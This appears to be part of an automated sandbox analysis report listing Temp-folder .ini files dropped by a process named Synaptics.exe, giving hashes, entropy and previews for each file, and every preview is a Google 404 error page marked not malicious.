MD5:	8A161D1BFD6CE5C015EBA2E81583BD51
SHA1:	60E15A9638BA6A51650E24DCBC33D5106C98CE27
SHA-256:	A294F7E9853E14A79758B331A2DE1AA1E6223ED40457FE5FB71F1407B555D29A
SHA-512:	7E64EEA7FF948038D20498F069DFCABE326656968569DA3B081C307512CEEE1E9EF85E0D0750BBBB0548AEEED3455B3AB8A96A7AE9CFC20FA71C9FE81FE02ABD
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="4I4jPOAY1iCfROgXzEP57Q">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\9uu26fJ.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.248114209128823
Encrypted:	false
SSDEEP:	24:bsF+0RSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+u+pAZewRDK4mW
MD5:	360FF27FEBCD0DA6AD2B60D38849CF41
SHA1:	EB4D0957A7757EFAAB4B6CBA538265E23E58AEE4
SHA-256:	BA2E5132C7D570574F3CF312C8B2F482E01DE3E51FF5388CDF99FF29C601A7E6
SHA-512:	A1CAFF22B4F43F2BBB15068B79EAC4C9C5400629A35A3F94211846B3CDF211EBD930510D28080B5C5FFBD22C06D3BE50CE710EA830ECAEDA2E5EE47F47B9644B
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="djl64ik9-GYbnmfx13xbDw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\BJ3fBdD.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.255736174217058
Encrypted:	false
SSDEEP:	24:bsF+022CSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+J+pAZewRDK4mW
MD5:	072979E6E69AF082A1B4DF6A269C19A5
SHA1:	F92E617DB2A107E5AF78E24E1C1260469BA6E10A
SHA-256:	BCD23D07840A13D3D7EC84D3E72D6D0C185D624767B2D3B334A1272F1C19C960
SHA-512:	55594CD6DE8CDE17549AAA3FA769F1A7028068823E66A072207B8BE9A34336BB5CCAB8A6A615E51F6BDEC8B6F2FEE456647AB6C2436AEDFDB02218F180F83E43
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="sgCc95DJMy420DlUkPf7ew">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\DQVmXQ5.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.266540399978182
Encrypted:	false
SSDEEP:	24:bsF+0ZPSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+G+pAZewRDK4mW
MD5:	DF544813437BF782ACC70E9E1997F3F0
SHA1:	A0C21CC247CE1FB61B0BDB3D095B538D9EF613FC
SHA-256:	B4370CB42479EB31AB12102D23317CBDAEA1D9C860661F56550DB126B380F77D
SHA-512:	4FA47DAE4D2BACCA39DCD2C938E7C403AA8EA6F950A8D88281D205116C4225B10EC28BDCE7526E2BBC7DF265BE34B9591AB2A940083A8D3B8D423C432178CBFC
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="HFYxkTORmSVgrFkKwIeqiQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\DTE8DDf.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.259045369314959
Encrypted:	false
SSDEEP:	24:bsF+0LdMSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+4M+pAZewRDK4mW
MD5:	1CC3CB7ECFE76678213A1BC3FDDBDAD9
SHA1:	925354B22476FF17355AA76D842893585DFE5A32
SHA-256:	C08BFD9E243DE8731CFAEFF46666BF6EA1765F06067EB7B75D45C5C59C5A641F
SHA-512:	2D63482B1F11B75AEC39E79933956C57C17F644AECF4DA8DF7A306F83E72F9D51C56440228A3785C18B075C1F5A094F0B83DDEA3C18E0D81A3D952926BDD1250
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="8tFFSq65nf8Ed2hScrYFcQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\G3cs4Ze.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.269251228126798
Encrypted:	false
SSDEEP:	24:bsF+0Z19SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+q+pAZewRDK4mW
MD5:	3FAC8595C783724ECFAF937F5FF23488
SHA1:	4AE28C02D34CC8F992CD714D74CE6B234116631B
SHA-256:	F7CBB22542A40F6085554D99A4D105C2226C276B5A9DC8635FA0E625C58BE105
SHA-512:	FBE0DE9B2ABC24507EAFA3768EEAA40A01071A40221DD8DA7846523D6FE1D1C5A8679903A2BAF983A9FE86418A4B937B5EDBD0667A025E9532C0C5752DA4C0D1
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="-ZJbMHulL4XUbZXGfU-tVQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\Hsi1fwS.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.267101507505195
Encrypted:	false
SSDEEP:	24:bsF+0UdSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+N+pAZewRDK4mW
MD5:	C18978920818916CA84BC3D5E16CF3B6
SHA1:	52A1ADC02D2753521C8908CDE83B48322199B069
SHA-256:	7D07DAF75661F9383273D3106C2B540F22D7B4A5E3A3205393046FC288AF41E2
SHA-512:	4AB50C46141D7FF437F353CB74023F286D224CD3A950E8BDE09AC5F0C64FE10CBEC8AECC5CAE7EA77D6E6F1FB3CCBD700A5D48CFF9B20F829F29E94794F60CD7
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="fbsAzsR8CZrY22kXJfUT7A">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\K5RReqm.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.265707343915103
Encrypted:	false
SSDEEP:	24:bsF+093SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+K+pAZewRDK4mW
MD5:	FF0BD7D616B328F001E75C2DA7796EA2
SHA1:	436EC53227D09661C3DE6A88584A301EB6225AFB
SHA-256:	92F6266DF58D1F23F5EEC21133D742A9DD460DC47FB2DB5095A9051EF7B46734
SHA-512:	97DD2B771C074353285515015ECEA49C499B73FEC34C4FA7C9BF4C05D42BE3A6C5E7192488ED4418C2C4EB36E7FD55AF66EE37E48D721178CA8819087362FFFE
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="W-A1w6Js3IC5yrXdkyHIIw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\K6xFlKa.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.2705629506683325
Encrypted:	false
SSDEEP:	24:bsF+0CODSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+S+pAZewRDK4mW
MD5:	1834AE7A2E24F33907C9B0918DA90581
SHA1:	1551467D0DFE4BC0FF943774CA58664671686587
SHA-256:	5467AB4DA3075C08174E53B5B8806D41B794A2121210695385A14EB9791F05D4
SHA-512:	D9B33BDDA4E4F094124FA7FFDCE99BDCCDF71D11CF55B998662CB257C317F76AB1628F5CBCD68A6AFE61E0310CDBE2CAF834D40E846640167A0293D408C4616E
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="qXKOP6GmUIsvTbKOyh0Wkg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\KhjMNvi.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.261286610572071
Encrypted:	false
SSDEEP:	24:bsF+0oFSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+p+pAZewRDK4mW
MD5:	529DE8E19D2747CE226F8220B4E7BCA9
SHA1:	C5914C98E739375119A0066385E0C80CDAFC4698
SHA-256:	094ED3EBEADE48A455C48ED15D440973FA3B115352E2103217C5930D0C2A6BC7
SHA-512:	CC28274538939202432276691D9589959987B1ED615E77C176520ED2556A4C6662DF38E2E60541C39AFD8FA48ACBD4BA893965658016A3124B832C3A58519BE5
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ANL-Xkma3mYMIwXTrF11wA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\MElZ2Ia.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.254074623105444
Encrypted:	false
SSDEEP:	24:bsF+0HDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+k+pAZewRDK4mW
MD5:	9EFE54541AA99DF09A97E18B270EBE3A
SHA1:	59D984526FA6358B33E714985A6CB6FA64018CE0
SHA-256:	BAE76A03FC00AB3619AEF18688146672B7E7E0CB834DA6F3EFA1318D5BA1E4C7
SHA-512:	865B16C4F3794ABB8AE77564A0633F0CBF16DE14CF47668050BC7A152F3CB07323A18259B818D3191536E23CD8829CF537EC482672ED438A30FD699B492F5098
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="l_tXr3Hc_HdKoQ8F0bR9kg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\MyHzCKu.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.268401730094655
Encrypted:	false
SSDEEP:	24:bsF+0jgSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+4g+pAZewRDK4mW
MD5:	2F0ED9D8AD30469C0623933121584F17
SHA1:	A5B3C8B3238E4BAA1B07B3DD7C3A1940967285E0
SHA-256:	64CA90530BE729DC675B1F8510403CE44C2F8B767A693ABF658EBF0D8C6E11C9
SHA-512:	7BD2B450528B3B5A307E16589FBC227B09A007A61DF3BA85804C344063C906CC6B17A2EEC7F72383A6E4E2E6A55351AEF8E914B2FF9BA39A4537469049A640AD
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="xMqjxh7PABUbhH-hrPSXSw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\OaXPKL3.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.268237621645659
Encrypted:	false
SSDEEP:	24:bsF+0k+UQSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+cz+pAZewRDK4mW
MD5:	4101A596131D1D82C0BD8B6671F0EA4C
SHA1:	E5B598BDF819095A1C69BA78507C8B871CD84FBB
SHA-256:	BD700E6CFB068D4F23EEBD1AA444F4D2D7EBB356DD40D0E2357753262DC34337
SHA-512:	5228C88B2363494EDDEC6A11D243660D6DB3ADB673A2B04A977A8ACCA2198FCBF52F133C5965C748CEEF13850DC083DB5D2A3EC61E1020ECA75D28A7FF5E9DE4
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="OYvkDE_x6PaPIitlMAqiSw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\P4qRTvI.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.270603553890271
Encrypted:	false
SSDEEP:	24:bsF+0FsSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+Os+pAZewRDK4mW
MD5:	AAA06780491AB4EE6C608A69455D8EAE
SHA1:	2068075E0BD9F77B17B068D89FCB3CEBE8C3C6FD
SHA-256:	55114873BF804E5F5D204B7977B8B4EE622E51EE97C741637FEB1EB310E28649
SHA-512:	F833A267BB56334D0D3FA56D4EC6DB8041F6B54C16AACF770B1F455869D5E7401D3769E93ADD7DD5B48A6AF525DD04696A53CB8C08A509EE2407BDF3A890237A
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="vQmYJN8nDKfqKwITKey47A">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\QrE49OW.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.256028423514091
Encrypted:	false
SSDEEP:	24:bsF+0zlSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+Il+pAZewRDK4mW
MD5:	3E9F097739A994C27E8E9138BB8A3386
SHA1:	927103B0F37919A3985D3EBFC40B9EBB880E688D
SHA-256:	1F52110E7F2AED44B94EBA93CA94DA58D905B3148CB8C0E0695E413283CA7067
SHA-512:	B248B934A7C4B7040240666CE4611F4B09A3C849FE8DCC6D3CA581FC70C697DE11CF43F6DE16A8418C9180C958F6B70101F51683C56DA9CE518B3ED6C4F3FA48
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="hzfu2ARSuY-fattxojM6Fw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\QsYEpvM.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.257405705554955
Encrypted:	false
SSDEEP:	24:bsF+04kAuSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+ZkAu+pAZewRDK4mW
MD5:	276927A23A3F3B0CFA09F2A3C15A3C11
SHA1:	F35BDA3B7B5BDDC8B929AF9E53745B3D19403214
SHA-256:	62CF2BD2B88555E6320F519BC5B9BDC566D35F9ADCD8F87D5B92A9962E3CFF4B
SHA-512:	89F527F88262A02D4780499105A080ECD047D707FFC58858560E09F6AB77BCC8814823087149FAA4C1C6D2C521CD2609E311FECB50B96F4A209FB71BAD9BD7F3
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="_8nTSSqozsNDyt5OIpitHw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\RXdkEHk.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.248402177425877
Encrypted:	false
SSDEEP:	24:bsF+0aSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+V+pAZewRDK4mW
MD5:	D2002EB372A07267F4BFEB61B80E3D0E
SHA1:	DABDE87BD7AAB95FD0BC4E85110631A589EC00DE
SHA-256:	756266D41F774E3E9A61EE16FFD0D2C19BD8E26D85B14FEA30C67D7452BB8459
SHA-512:	F77206763676B4E218D1A3B94C84C07A22B29C4499E0E7DAB08177F618EFC8CB7E0E3E1CED031E0C1F784FDF04C432D316C4016B4AAB7024B1B6FC37363F105E
Malicious:	false
